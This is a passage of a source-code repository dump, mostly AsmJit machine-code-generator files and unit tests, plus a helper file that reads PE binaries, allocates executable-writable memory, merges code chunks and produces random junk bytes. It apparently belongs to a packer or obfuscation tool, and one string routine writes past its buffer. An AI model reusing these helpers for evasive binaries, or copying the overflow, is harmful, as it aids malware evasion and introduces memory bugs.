"InvalidPrefixCombination\0" 72 | "InvalidLockPrefix\0" 73 | "InvalidXAcquirePrefix\0" 74 | "InvalidXReleasePrefix\0" 75 | "InvalidRepPrefix\0" 76 | "InvalidRexPrefix\0" 77 | "InvalidExtraReg\0" 78 | "InvalidKMaskUse\0" 79 | "InvalidKZeroUse\0" 80 | "InvalidBroadcast\0" 81 | "InvalidEROrSAE\0" 82 | "InvalidAddress\0" 83 | "InvalidAddressIndex\0" 84 | "InvalidAddressScale\0" 85 | "InvalidAddress64Bit\0" 86 | "InvalidAddress64BitZeroExtension\0" 87 | "InvalidDisplacement\0" 88 | "InvalidSegment\0" 89 | "InvalidImmediate\0" 90 | "InvalidOperandSize\0" 91 | "AmbiguousOperandSize\0" 92 | "OperandSizeMismatch\0" 93 | "InvalidOption\0" 94 | "OptionAlreadyDefined\0" 95 | "InvalidTypeId\0" 96 | "InvalidUseOfGpbHi\0" 97 | "InvalidUseOfGpq\0" 98 | "InvalidUseOfF80\0" 99 | "NotConsecutiveRegs\0" 100 | "IllegalVirtReg\0" 101 | "TooManyVirtRegs\0" 102 | "NoMorePhysRegs\0" 103 | "OverlappedRegs\0" 104 | "OverlappingStackRegWithRegArg\0" 105 | "ExpressionLabelNotBound\0" 106 | "ExpressionOverflow\0" 107 | "FailedToOpenAnonymousMemory\0" 108 | "\0"; 109 | 110 | static const uint16_t sErrorIndex[] = { 111 | 0, 3, 15, 31, 44, 56, 71, 90, 108, 123, 132, 148, 165, 178, 192, 210, 230, 112 | 247, 264, 283, 313, 328, 344, 363, 382, 400, 422, 440, 459, 474, 490, 504, 113 | 518, 538, 563, 581, 603, 625, 642, 659, 675, 691, 707, 724, 739, 754, 774, 114 | 794, 814, 847, 867, 882, 899, 918, 939, 959, 973, 994, 1008, 1026, 1042, 115 | 1058, 1077, 1092, 1108, 1123, 1138, 1168, 1192, 1211, 1239 116 | }; 117 | // @EnumStringEnd@ 118 | 119 | return sErrorString + sErrorIndex[Support::min(err, kErrorCount)]; 120 | #else 121 | DebugUtils::unused(err); 122 | static const char noMessage[] = ""; 123 | return noMessage; 124 | #endif 125 | } 126 | 127 | ASMJIT_FAVOR_SIZE void DebugUtils::debugOutput(const char* str) noexcept { 128 | #if defined(_WIN32) 129 | ::OutputDebugStringA(str); 130 | #else 131 | ::fputs(str, stderr); 132 | #endif 133 | } 134 | 135 | ASMJIT_FAVOR_SIZE void DebugUtils::assertionFailed(const char* file, int line, const char* msg) noexcept { 136 | char str[1024]; 137 | 138 | snprintf(str, 1024, 139 | "[asmjit] Assertion failed at %s (line %d):\n" 140 | "[asmjit] %s\n", file, line, msg); 141 | 142 | debugOutput(str); 143 | ::abort(); 144 | } 145 | 146 | ASMJIT_END_NAMESPACE 147 | -------------------------------------------------------------------------------- /src/asmjit/core/operand.cpp: -------------------------------------------------------------------------------- 1 | // AsmJit - Machine code generation for C++ 2 | // 3 | // * Official AsmJit Home Page: https://asmjit.com 4 | // * Official Github Repository: https://github.com/asmjit/asmjit 5 | // 6 | // Copyright (c) 2008-2020 The AsmJit Authors 7 | // 8 | // This software is provided 'as-is', without any express or implied 9 | // warranty. In no event will the authors be held liable for any damages 10 | // arising from the use of this software. 11 | // 12 | // Permission is granted to anyone to use this software for any purpose, 13 | // including commercial applications, and to alter it and redistribute it 14 | // freely, subject to the following restrictions: 15 | // 16 | // 1. The origin of this software must not be misrepresented; you must not 17 | // claim that you wrote the original software. If you use this software 18 | // in a product, an acknowledgment in the product documentation would be 19 | // appreciated but is not required. 20 | // 2. Altered source versions must be plainly marked as such, and must not be 21 | // misrepresented as being the original software. 22 | // 3. This notice may not be removed or altered from any source distribution. 23 | 24 | #include "../core/api-build_p.h" 25 | #include "../core/operand.h" 26 | 27 | ASMJIT_BEGIN_NAMESPACE 28 | 29 | // ============================================================================ 30 | // [asmjit::Operand - Unit] 31 | // ============================================================================ 32 | 33 | #if defined(ASMJIT_TEST) 34 | UNIT(operand) { 35 | INFO("Checking operand sizes"); 36 | EXPECT(sizeof(Operand) == 16); 37 | EXPECT(sizeof(BaseReg) == 16); 38 | EXPECT(sizeof(BaseMem) == 16); 39 | EXPECT(sizeof(Imm) == 16); 40 | EXPECT(sizeof(Label) == 16); 41 | 42 | INFO("Checking basic functionality of Operand"); 43 | Operand a, b; 44 | Operand dummy; 45 | 46 | EXPECT(a.isNone() == true); 47 | EXPECT(a.isReg() == false); 48 | EXPECT(a.isMem() == false); 49 | EXPECT(a.isImm() == false); 50 | EXPECT(a.isLabel() == false); 51 | EXPECT(a == b); 52 | EXPECT(a._data[0] == 0); 53 | EXPECT(a._data[1] == 0); 54 | 55 | INFO("Checking basic functionality of Label"); 56 | Label label; 57 | EXPECT(label.isValid() == false); 58 | EXPECT(label.id() == Globals::kInvalidId); 59 | 60 | INFO("Checking basic functionality of BaseReg"); 61 | EXPECT(BaseReg().isReg() == true); 62 | EXPECT(BaseReg().isValid() == false); 63 | EXPECT(BaseReg()._data[0] == 0); 64 | EXPECT(BaseReg()._data[1] == 0); 65 | EXPECT(dummy.as().isValid() == false); 66 | 67 | // Create some register (not specific to any architecture). 68 | uint32_t rSig = Operand::kOpReg | (1 << Operand::kSignatureRegTypeShift ) | 69 | (2 << Operand::kSignatureRegGroupShift) | 70 | (8 << Operand::kSignatureSizeShift ) ; 71 | BaseReg r1 = BaseReg::fromSignatureAndId(rSig, 5); 72 | 73 | EXPECT(r1.isValid() == true); 74 | EXPECT(r1.isReg() == true); 75 | EXPECT(r1.isReg(1) == true); 76 | EXPECT(r1.isPhysReg() == true); 77 | EXPECT(r1.isVirtReg() == false); 78 | EXPECT(r1.signature() == rSig); 79 | EXPECT(r1.type() == 1); 80 | EXPECT(r1.group() == 2); 81 | EXPECT(r1.size() == 8); 82 | EXPECT(r1.id() == 5); 83 | EXPECT(r1.isReg(1, 5) == true); // RegType and Id. 84 | EXPECT(r1._data[0] == 0); 85 | EXPECT(r1._data[1] == 0); 86 | 87 | // The same type of register having different id. 88 | BaseReg r2(r1, 6); 89 | EXPECT(r2.isValid() == true); 90 | EXPECT(r2.isReg() == true); 91 | EXPECT(r2.isReg(1) == true); 92 | EXPECT(r2.isPhysReg() == true); 93 | EXPECT(r2.isVirtReg() == false); 94 | EXPECT(r2.signature() == rSig); 95 | EXPECT(r2.type() == r1.type()); 96 | EXPECT(r2.group() == r1.group()); 97 | EXPECT(r2.size() == r1.size()); 98 | EXPECT(r2.id() == 6); 99 | EXPECT(r2.isReg(1, 6) == true); 100 | 101 | r1.reset(); 102 | EXPECT(!r1.isReg()); 103 | EXPECT(!r1.isValid()); 104 | 105 | INFO("Checking basic functionality of BaseMem"); 106 | BaseMem m; 107 | EXPECT(m.isMem()); 108 | EXPECT(m == BaseMem()); 109 | EXPECT(m.hasBase() == false); 110 | EXPECT(m.hasIndex() == false); 111 | EXPECT(m.hasOffset() == false); 112 | EXPECT(m.isOffset64Bit() == true); 113 | EXPECT(m.offset() == 0); 114 | 115 | m.setOffset(-1); 116 | EXPECT(m.offsetLo32() == -1); 117 | EXPECT(m.offset() == -1); 118 | 119 | int64_t x = int64_t(0xFF00FF0000000001u); 120 | int32_t xHi = int32_t(0xFF00FF00u); 121 | 122 | m.setOffset(x); 123 | EXPECT(m.offset() == x); 124 | EXPECT(m.offsetLo32() == 1); 125 | EXPECT(m.offsetHi32() == xHi); 126 | 127 | INFO("Checking basic functionality of Imm"); 128 | Imm immValue(-42); 129 | EXPECT(immValue.type() == Imm::kTypeInteger); 130 | EXPECT(Imm(-1).value() == -1); 131 | EXPECT(imm(-1).value() == -1); 132 | EXPECT(immValue.value() == -42); 133 | EXPECT(imm(0xFFFFFFFF).value() == int64_t(0xFFFFFFFF)); 134 | 135 | Imm immDouble(0.4); 136 | EXPECT(immDouble.type() == Imm::kTypeDouble); 137 | EXPECT(immDouble.valueAs() == 0.4); 138 | EXPECT(immDouble == imm(0.4)); 139 | 140 | } 141 | #endif 142 | 143 | ASMJIT_END_NAMESPACE 144 | -------------------------------------------------------------------------------- /src/asmjit/core/inst.cpp: -------------------------------------------------------------------------------- 1 | // AsmJit - Machine code generation for C++ 2 | // 3 | // * Official AsmJit Home Page: https://asmjit.com 4 | // * Official Github Repository: https://github.com/asmjit/asmjit 5 | // 6 | // Copyright (c) 2008-2020 The AsmJit Authors 7 | // 8 | // This software is provided 'as-is', without any express or implied 9 | // warranty. In no event will the authors be held liable for any damages 10 | // arising from the use of this software. 11 | // 12 | // Permission is granted to anyone to use this software for any purpose, 13 | // including commercial applications, and to alter it and redistribute it 14 | // freely, subject to the following restrictions: 15 | // 16 | // 1. The origin of this software must not be misrepresented; you must not 17 | // claim that you wrote the original software. If you use this software 18 | // in a product, an acknowledgment in the product documentation would be 19 | // appreciated but is not required. 20 | // 2. Altered source versions must be plainly marked as such, and must not be 21 | // misrepresented as being the original software. 22 | // 3. This notice may not be removed or altered from any source distribution. 23 | 24 | #include "../core/api-build_p.h" 25 | #include "../core/archtraits.h" 26 | #include "../core/inst.h" 27 | 28 | #if !defined(ASMJIT_NO_X86) 29 | #include "../x86/x86instapi_p.h" 30 | #endif 31 | 32 | #ifdef ASMJIT_BUILD_ARM 33 | #include "../arm/a64instapi_p.h" 34 | #endif 35 | 36 | ASMJIT_BEGIN_NAMESPACE 37 | 38 | // ============================================================================ 39 | // [asmjit::InstAPI - Text] 40 | // ============================================================================ 41 | 42 | #ifndef ASMJIT_NO_TEXT 43 | Error InstAPI::instIdToString(uint32_t arch, uint32_t instId, String& output) noexcept { 44 | #if !defined(ASMJIT_NO_X86) 45 | if (Environment::isFamilyX86(arch)) 46 | return x86::InstInternal::instIdToString(arch, instId, output); 47 | #endif 48 | 49 | #ifdef ASMJIT_BUILD_ARM 50 | if (Environment::isArchAArch64(arch)) 51 | return a64::InstInternal::instIdToString(arch, instId, output); 52 | #endif 53 | 54 | return DebugUtils::errored(kErrorInvalidArch); 55 | } 56 | 57 | uint32_t InstAPI::stringToInstId(uint32_t arch, const char* s, size_t len) noexcept { 58 | #if !defined(ASMJIT_NO_X86) 59 | if (Environment::isFamilyX86(arch)) 60 | return x86::InstInternal::stringToInstId(arch, s, len); 61 | #endif 62 | 63 | #ifdef ASMJIT_BUILD_ARM 64 | if (Environment::isArchAArch64(arch)) 65 | return a64::InstInternal::stringToInstId(arch, s, len); 66 | #endif 67 | 68 | return 0; 69 | } 70 | #endif // !ASMJIT_NO_TEXT 71 | 72 | // ============================================================================ 73 | // [asmjit::InstAPI - Validate] 74 | // ============================================================================ 75 | 76 | #ifndef ASMJIT_NO_VALIDATION 77 | Error InstAPI::validate(uint32_t arch, const BaseInst& inst, const Operand_* operands, size_t opCount, uint32_t validationFlags) noexcept { 78 | #if !defined(ASMJIT_NO_X86) 79 | if (Environment::isFamilyX86(arch)) 80 | return x86::InstInternal::validate(arch, inst, operands, opCount, validationFlags); 81 | #endif 82 | 83 | #ifdef ASMJIT_BUILD_ARM 84 | if (Environment::isArchAArch64(arch)) 85 | return a64::InstInternal::validate(arch, inst, operands, opCount, validationFlags); 86 | #endif 87 | 88 | return DebugUtils::errored(kErrorInvalidArch); 89 | } 90 | #endif // !ASMJIT_NO_VALIDATION 91 | 92 | // ============================================================================ 93 | // [asmjit::InstAPI - QueryRWInfo] 94 | // ============================================================================ 95 | 96 | #ifndef ASMJIT_NO_INTROSPECTION 97 | Error InstAPI::queryRWInfo(uint32_t arch, const BaseInst& inst, const Operand_* operands, size_t opCount, InstRWInfo* out) noexcept { 98 | if (ASMJIT_UNLIKELY(opCount > Globals::kMaxOpCount)) 99 | return DebugUtils::errored(kErrorInvalidArgument); 100 | 101 | #if !defined(ASMJIT_NO_X86) 102 | if (Environment::isFamilyX86(arch)) 103 | return x86::InstInternal::queryRWInfo(arch, inst, operands, opCount, out); 104 | #endif 105 | 106 | #ifdef ASMJIT_BUILD_ARM 107 | if (Environment::isArchAArch64(arch)) 108 | return a64::InstInternal::queryRWInfo(arch, inst, operands, opCount, out); 109 | #endif 110 | 111 | return DebugUtils::errored(kErrorInvalidArch); 112 | } 113 | #endif // !ASMJIT_NO_INTROSPECTION 114 | 115 | // ============================================================================ 116 | // [asmjit::InstAPI - QueryFeatures] 117 | // ============================================================================ 118 | 119 | #ifndef ASMJIT_NO_INTROSPECTION 120 | Error InstAPI::queryFeatures(uint32_t arch, const BaseInst& inst, const Operand_* operands, size_t opCount, BaseFeatures* out) noexcept { 121 | #if !defined(ASMJIT_NO_X86) 122 | if (Environment::isFamilyX86(arch)) 123 | return x86::InstInternal::queryFeatures(arch, inst, operands, opCount, out); 124 | #endif 125 | 126 | #ifdef ASMJIT_BUILD_ARM 127 | if (Environment::isArchAArch64(arch)) 128 | return a64::InstInternal::queryFeatures(arch, inst, operands, opCount, out); 129 | #endif 130 | 131 | return DebugUtils::errored(kErrorInvalidArch); 132 | } 133 | #endif // !ASMJIT_NO_INTROSPECTION 134 | 135 | ASMJIT_END_NAMESPACE 136 | -------------------------------------------------------------------------------- /src/AuxFunctions.cpp: -------------------------------------------------------------------------------- 1 | #include "AuxFunctions.h" 2 | 3 | BOOL WriteBinary(char* outputFileName, PBYTE fileBuffer, int fileSize) { 4 | HANDLE fileHandle = CreateFileA(outputFileName, GENERIC_WRITE, NULL, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); 5 | if (fileHandle == INVALID_HANDLE_VALUE) { 6 | std::cout << "CreateFileA Error: " << GetLastError() << std::endl; 7 | return FALSE; 8 | } 9 | BOOL writeResult = WriteFile(fileHandle, fileBuffer, fileSize, NULL, NULL); 10 | if (writeResult == FALSE) { 11 | std::cout << "WriteFile Error: " << GetLastError() << std::endl; 12 | return FALSE; 13 | } 14 | CloseHandle(fileHandle); 15 | return TRUE; 16 | } 17 | 18 | PBYTE ReadBinary(char* fileName, int& fileSize) { 19 | PBYTE fileBuffer; 20 | // Get a file handle 21 | HANDLE fileHandle = CreateFileA(fileName, GENERIC_READ, NULL, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); 22 | if (fileHandle == INVALID_HANDLE_VALUE) { 23 | std::cout << "CreateFileA Error: " << GetLastError() << std::endl; 24 | return NULL; 25 | } 26 | // Get size of that file 27 | fileSize = GetFileSize(fileHandle, NULL); 28 | if (fileSize == INVALID_FILE_SIZE) { 29 | std::cout << "GetFileSize Error: " << GetLastError() << std::endl; 30 | return NULL; 31 | } 32 | // Allocate a data buffer 33 | fileBuffer = (PBYTE)VirtualAlloc(NULL, fileSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); 34 | if (fileBuffer == NULL) { 35 | std::cout << "VirtualAlloc Error: " << GetLastError() << std::endl; 36 | return NULL; 37 | } 38 | // Read the file and put into the buffer 39 | if (ReadFile(fileHandle, fileBuffer, fileSize, NULL, NULL) == FALSE) { 40 | std::cout << "ReadFile Error: " << GetLastError() << std::endl; 41 | return NULL; 42 | } 43 | CloseHandle(fileHandle); 44 | // Return the buffer 45 | return fileBuffer; 46 | } 47 | 48 | PBYTE GetRandomBytes(size_t numberOfBytes) { 49 | PBYTE returnValue = (PBYTE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, numberOfBytes); 50 | for (int i = 0; i < numberOfBytes; i++) { 51 | returnValue[i] = rand() % 256; 52 | } 53 | return returnValue; 54 | } 55 | 56 | BYTE GetRandomByte() { 57 | return rand() % 256; 58 | } 59 | 60 | bool RandomizeBool() { 61 | int randVal = rand() % 2; 62 | return randVal == 1; 63 | } 64 | 65 | unsigned long long RandomizeQWORD() { 66 | BYTE b0, b1, b2, b3, b4, b5, b6, b7; 67 | b0 = rand() % 256; 68 | b1 = rand() % 256; 69 | b2 = rand() % 256; 70 | b3 = rand() % 256; 71 | b4 = rand() % 256; 72 | b5 = rand() % 256; 73 | b6 = rand() % 256; 74 | b7 = rand() % 256; 75 | uint64_t dw = (uint64_t)b7 << 56 | (uint64_t)b6 << 48 | (uint64_t)b5 << 40 | (uint64_t) b4 << 32 | b3 << 24 | b2 << 16 | b1 << 8 | b0; 76 | return dw; 77 | } 78 | 79 | 80 | unsigned long RandomizeDWORD() { 81 | BYTE b0, b1, b2, b3; 82 | b0 = rand() % 256; 83 | b1 = rand() % 256; 84 | b2 = rand() % 256; 85 | b3 = rand() % 256; 86 | unsigned long dw = b3 << 24 | b2 << 16 | b1 << 8 | b0; 87 | return dw; 88 | } 89 | 90 | int AlignBytes(int currentSize, int alignment) { 91 | return (int)(ceil(((float)currentSize) / alignment)) * alignment; 92 | } 93 | 94 | int RandomizeInRange(int min, int max) { 95 | return min + (rand() % (max - min + 1)); 96 | } 97 | 98 | char *GenerateRandomString(){ 99 | char * stringBuffer = (char *)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 17); 100 | static const char alphanum[] = 101 | "0123456789" 102 | "ABCDEFGHIJKLMNOPQRSTUVWXYZ"; 103 | 104 | for (int i = 0; i < 16; ++i) { 105 | stringBuffer[i] = alphanum[rand() % (sizeof(alphanum) - 1)]; 106 | } 107 | stringBuffer[17] = 0; 108 | return stringBuffer; 109 | } 110 | 111 | PBYTE MergeChunks(PBYTE firstChunk, int firstChunkSize, PBYTE secondChunk, int secondChunkSize) { 112 | PBYTE returnValue = (PBYTE) VirtualAlloc(NULL,firstChunkSize + secondChunkSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); 113 | memcpy(returnValue, firstChunk, firstChunkSize); 114 | memcpy(returnValue + firstChunkSize, secondChunk, secondChunkSize); 115 | return returnValue; 116 | } 117 | 118 | bool CheckValidPE(PBYTE fileBuffer) { 119 | try { 120 | // Get DOS Header 121 | PIMAGE_DOS_HEADER testFileDosHeader = (PIMAGE_DOS_HEADER)fileBuffer; 122 | // Get NT Header 123 | PIMAGE_NT_HEADERS testFileNtHeader = (PIMAGE_NT_HEADERS)(testFileDosHeader->e_lfanew + fileBuffer); 124 | // Check DOS Signature and NT Signature. 125 | if (testFileDosHeader->e_magic == IMAGE_DOS_SIGNATURE && testFileNtHeader->Signature == IMAGE_NT_SIGNATURE) { 126 | return true; 127 | } 128 | return false; 129 | } 130 | catch(...){ 131 | return false; 132 | } 133 | } 134 | 135 | bool Checkx64PE(PBYTE fileBuffer) { 136 | // Get DOS Header 137 | PIMAGE_DOS_HEADER testFileDosHeader = (PIMAGE_DOS_HEADER)fileBuffer; 138 | // Get NT Header 139 | PIMAGE_NT_HEADERS testFileNtHeader = (PIMAGE_NT_HEADERS)(testFileDosHeader->e_lfanew + fileBuffer); 140 | // Check the architecture. 141 | if (testFileNtHeader->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR64_MAGIC) { 142 | return true; 143 | } 144 | return false; 145 | } 146 | 147 | PBYTE GenArgBytes(LPSTR args, int argsLen) { 148 | char* pos = args; 149 | PBYTE returnValue = (PBYTE)VirtualAlloc(NULL, argsLen, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); 150 | for (size_t count = 0; count < argsLen; count++) { 151 | sscanf(pos, "%2hhx", returnValue + count); 152 | pos += 2; 153 | } 154 | 155 | return returnValue; 156 | } -------------------------------------------------------------------------------- /src/asmjit/x86.h: -------------------------------------------------------------------------------- 1 | // AsmJit - Machine code generation for C++ 2 | // 3 | // * Official AsmJit Home Page: https://asmjit.com 4 | // * Official Github Repository: https://github.com/asmjit/asmjit 5 | // 6 | // Copyright (c) 2008-2020 The AsmJit Authors 7 | // 8 | // This software is provided 'as-is', without any express or implied 9 | // warranty. In no event will the authors be held liable for any damages 10 | // arising from the use of this software. 11 | // 12 | // Permission is granted to anyone to use this software for any purpose, 13 | // including commercial applications, and to alter it and redistribute it 14 | // freely, subject to the following restrictions: 15 | // 16 | // 1. The origin of this software must not be misrepresented; you must not 17 | // claim that you wrote the original software. If you use this software 18 | // in a product, an acknowledgment in the product documentation would be 19 | // appreciated but is not required. 20 | // 2. Altered source versions must be plainly marked as such, and must not be 21 | // misrepresented as being the original software. 22 | // 3. This notice may not be removed or altered from any source distribution. 23 | 24 | #ifndef ASMJIT_X86_H_INCLUDED 25 | #define ASMJIT_X86_H_INCLUDED 26 | 27 | //! \addtogroup asmjit_x86 28 | //! 29 | //! ### Namespace 30 | //! 31 | //! - \ref x86 - x86 namespace provides support for X86/X64 code generation. 32 | //! 33 | //! ### Emitters 34 | //! 35 | //! - \ref x86::Assembler - X86/X64 assembler (must read, provides examples). 36 | //! - \ref x86::Builder - X86/X64 builder. 37 | //! - \ref x86::Compiler - X86/X64 compiler. 38 | //! - \ref x86::Emitter - X86/X64 emitter (abstract). 39 | //! 40 | //! ### Supported Instructions 41 | //! 42 | //! - Emitters: 43 | //! - \ref x86::EmitterExplicitT - Provides all instructions that use 44 | //! explicit operands, provides also utility functions. The member 45 | //! functions provided are part of all X86 emitters. 46 | //! - \ref x86::EmitterImplicitT - Provides all instructions that use 47 | //! implicit operands, these cannot be used with \ref x86::Compiler. 48 | //! 49 | //! - Instruction representation: 50 | //! - \ref x86::Inst::Id - instruction identifiers. 51 | //! - \ref x86::Inst::Options - instruction options. 52 | //! 53 | //! ### Register Operands 54 | //! 55 | //! - \ref x86::Reg - Base class for any X86 register. 56 | //! - \ref x86::Gp - General purpose register: 57 | //! - \ref x86::GpbLo - 8-bit low register. 58 | //! - \ref x86::GpbHi - 8-bit high register. 59 | //! - \ref x86::Gpw - 16-bit register. 60 | //! - \ref x86::Gpd - 32-bit register. 61 | //! - \ref x86::Gpq - 64-bit register (X64 only). 62 | //! - \ref x86::Vec - Vector (SIMD) register: 63 | //! - \ref x86::Xmm - 128-bit SIMD register (SSE+). 64 | //! - \ref x86::Ymm - 256-bit SIMD register (AVX+). 65 | //! - \ref x86::Zmm - 512-bit SIMD register (AVX512+). 66 | //! - \ref x86::Mm - 64-bit MMX register. 67 | //! - \ref x86::St - 80-bit FPU register. 68 | //! - \ref x86::KReg - opmask registers (AVX512+). 69 | //! - \ref x86::SReg - segment register. 70 | //! - \ref x86::CReg - control register. 71 | //! - \ref x86::DReg - debug register. 72 | //! - \ref x86::Bnd - bound register (discontinued). 73 | //! - \ref x86::Rip - relative instruction pointer. 74 | //! 75 | //! ### Memory Operands 76 | //! 77 | //! - \ref x86::Mem - X86/X64 memory operand that provides support for all 78 | //! X86 and X64 addressing features including absolute addresses, index 79 | //! scales, and segment override prefixes. 80 | //! 81 | //! ### Other 82 | //! 83 | //! - \ref x86::Features - X86/X64 CPU features on top of \ref BaseFeatures. 84 | //! 85 | //! ### Status and Control Words 86 | //! 87 | //! - \ref asmjit::x86::FpuWord::Status - FPU status word. 88 | //! - \ref asmjit::x86::FpuWord::Control - FPU control word. 89 | //! 90 | //! ### Predicates 91 | //! 92 | //! - \ref x86::Predicate - namespace that provides X86/X64 predicates. 93 | //! - \ref x86::Predicate::Cmp - `CMP[PD|PS|SD|SS]` predicate (SSE+). 94 | //! - \ref x86::Predicate::PCmpStr - `[V]PCMP[I|E]STR[I|M]` predicate (SSE4.1+). 95 | //! - \ref x86::Predicate::Round - `ROUND[PD|PS|SD|SS]` predicate (SSE+). 96 | //! - \ref x86::Predicate::VCmp - `VCMP[PD|PS|SD|SS]` predicate (AVX+). 97 | //! - \ref x86::Predicate::VFixupImm - `VFIXUPIMM[PD|PS|SD|SS]` predicate (AVX512+). 98 | //! - \ref x86::Predicate::VFPClass - `VFPCLASS[PD|PS|SD|SS]` predicate (AVX512+). 99 | //! - \ref x86::Predicate::VGetMant - `VGETMANT[PD|PS|SD|SS]` predicate (AVX512+). 100 | //! - \ref x86::Predicate::VPCmp - `VPCMP[U][B|W|D|Q]` predicate (AVX512+). 101 | //! - \ref x86::Predicate::VPCom - `VPCOM[U][B|W|D|Q]` predicate (XOP). 102 | //! - \ref x86::Predicate::VRange - `VRANGE[PD|PS|SD|SS]` predicate (AVX512+). 103 | //! - \ref x86::Predicate::VReduce - `REDUCE[PD|PS|SD|SS]` predicate (AVX512+). 104 | //! - \ref x86::TLog - namespace that provides `VPTERNLOG[D|Q]` predicate / operations. 105 | 106 | #include "core.h" 107 | 108 | #include "asmjit-scope-begin.h" 109 | #include "x86/x86assembler.h" 110 | #include "x86/x86builder.h" 111 | #include "x86/x86compiler.h" 112 | #include "x86/x86emitter.h" 113 | #include "x86/x86features.h" 114 | #include "x86/x86globals.h" 115 | #include "x86/x86instdb.h" 116 | #include "x86/x86operand.h" 117 | #include "asmjit-scope-end.h" 118 | 119 | #endif // ASMJIT_X86_H_INCLUDED 120 | -------------------------------------------------------------------------------- /src/asmjit/core/zonelist.cpp: -------------------------------------------------------------------------------- 1 | // AsmJit - Machine code generation for C++ 2 | // 3 | // * Official AsmJit Home Page: https://asmjit.com 4 | // * Official Github Repository: https://github.com/asmjit/asmjit 5 | // 6 | // Copyright (c) 2008-2020 The AsmJit Authors 7 | // 8 | // This software is provided 'as-is', without any express or implied 9 | // warranty. In no event will the authors be held liable for any damages 10 | // arising from the use of this software. 11 | // 12 | // Permission is granted to anyone to use this software for any purpose, 13 | // including commercial applications, and to alter it and redistribute it 14 | // freely, subject to the following restrictions: 15 | // 16 | // 1. The origin of this software must not be misrepresented; you must not 17 | // claim that you wrote the original software. If you use this software 18 | // in a product, an acknowledgment in the product documentation would be 19 | // appreciated but is not required. 20 | // 2. Altered source versions must be plainly marked as such, and must not be 21 | // misrepresented as being the original software. 22 | // 3. This notice may not be removed or altered from any source distribution. 23 | 24 | #include "../core/api-build_p.h" 25 | #include "../core/zone.h" 26 | #include "../core/zonelist.h" 27 | 28 | ASMJIT_BEGIN_NAMESPACE 29 | 30 | // ============================================================================ 31 | // [asmjit::ZoneList - Unit] 32 | // ============================================================================ 33 | 34 | #if defined(ASMJIT_TEST) 35 | class MyListNode : public ZoneListNode {}; 36 | 37 | UNIT(zone_list) { 38 | Zone zone(4096); 39 | ZoneList list; 40 | 41 | MyListNode* a = zone.newT(); 42 | MyListNode* b = zone.newT(); 43 | MyListNode* c = zone.newT(); 44 | MyListNode* d = zone.newT(); 45 | 46 | INFO("Append / Unlink"); 47 | 48 | // [] 49 | EXPECT(list.empty() == true); 50 | 51 | // [A] 52 | list.append(a); 53 | EXPECT(list.empty() == false); 54 | EXPECT(list.first() == a); 55 | EXPECT(list.last() == a); 56 | EXPECT(a->prev() == nullptr); 57 | EXPECT(a->next() == nullptr); 58 | 59 | // [A, B] 60 | list.append(b); 61 | EXPECT(list.first() == a); 62 | EXPECT(list.last() == b); 63 | EXPECT(a->prev() == nullptr); 64 | EXPECT(a->next() == b); 65 | EXPECT(b->prev() == a); 66 | EXPECT(b->next() == nullptr); 67 | 68 | // [A, B, C] 69 | list.append(c); 70 | EXPECT(list.first() == a); 71 | EXPECT(list.last() == c); 72 | EXPECT(a->prev() == nullptr); 73 | EXPECT(a->next() == b); 74 | EXPECT(b->prev() == a); 75 | EXPECT(b->next() == c); 76 | EXPECT(c->prev() == b); 77 | EXPECT(c->next() == nullptr); 78 | 79 | // [B, C] 80 | list.unlink(a); 81 | EXPECT(list.first() == b); 82 | EXPECT(list.last() == c); 83 | EXPECT(a->prev() == nullptr); 84 | EXPECT(a->next() == nullptr); 85 | EXPECT(b->prev() == nullptr); 86 | EXPECT(b->next() == c); 87 | EXPECT(c->prev() == b); 88 | EXPECT(c->next() == nullptr); 89 | 90 | // [B] 91 | list.unlink(c); 92 | EXPECT(list.first() == b); 93 | EXPECT(list.last() == b); 94 | EXPECT(b->prev() == nullptr); 95 | EXPECT(b->next() == nullptr); 96 | EXPECT(c->prev() == nullptr); 97 | EXPECT(c->next() == nullptr); 98 | 99 | // [] 100 | list.unlink(b); 101 | EXPECT(list.empty() == true); 102 | EXPECT(list.first() == nullptr); 103 | EXPECT(list.last() == nullptr); 104 | EXPECT(b->prev() == nullptr); 105 | EXPECT(b->next() == nullptr); 106 | 107 | INFO("Prepend / Unlink"); 108 | 109 | // [A] 110 | list.prepend(a); 111 | EXPECT(list.empty() == false); 112 | EXPECT(list.first() == a); 113 | EXPECT(list.last() == a); 114 | EXPECT(a->prev() == nullptr); 115 | EXPECT(a->next() == nullptr); 116 | 117 | // [B, A] 118 | list.prepend(b); 119 | EXPECT(list.first() == b); 120 | EXPECT(list.last() == a); 121 | EXPECT(b->prev() == nullptr); 122 | EXPECT(b->next() == a); 123 | EXPECT(a->prev() == b); 124 | EXPECT(a->next() == nullptr); 125 | 126 | INFO("InsertAfter / InsertBefore"); 127 | 128 | // [B, A, C] 129 | list.insertAfter(a, c); 130 | EXPECT(list.first() == b); 131 | EXPECT(list.last() == c); 132 | EXPECT(b->prev() == nullptr); 133 | EXPECT(b->next() == a); 134 | EXPECT(a->prev() == b); 135 | EXPECT(a->next() == c); 136 | EXPECT(c->prev() == a); 137 | EXPECT(c->next() == nullptr); 138 | 139 | // [B, D, A, C] 140 | list.insertBefore(a, d); 141 | EXPECT(list.first() == b); 142 | EXPECT(list.last() == c); 143 | EXPECT(b->prev() == nullptr); 144 | EXPECT(b->next() == d); 145 | EXPECT(d->prev() == b); 146 | EXPECT(d->next() == a); 147 | EXPECT(a->prev() == d); 148 | EXPECT(a->next() == c); 149 | EXPECT(c->prev() == a); 150 | EXPECT(c->next() == nullptr); 151 | 152 | INFO("PopFirst / Pop"); 153 | 154 | // [D, A, C] 155 | EXPECT(list.popFirst() == b); 156 | EXPECT(b->prev() == nullptr); 157 | EXPECT(b->next() == nullptr); 158 | 159 | EXPECT(list.first() == d); 160 | EXPECT(list.last() == c); 161 | EXPECT(d->prev() == nullptr); 162 | EXPECT(d->next() == a); 163 | EXPECT(a->prev() == d); 164 | EXPECT(a->next() == c); 165 | EXPECT(c->prev() == a); 166 | EXPECT(c->next() == nullptr); 167 | 168 | // [D, A] 169 | EXPECT(list.pop() == c); 170 | 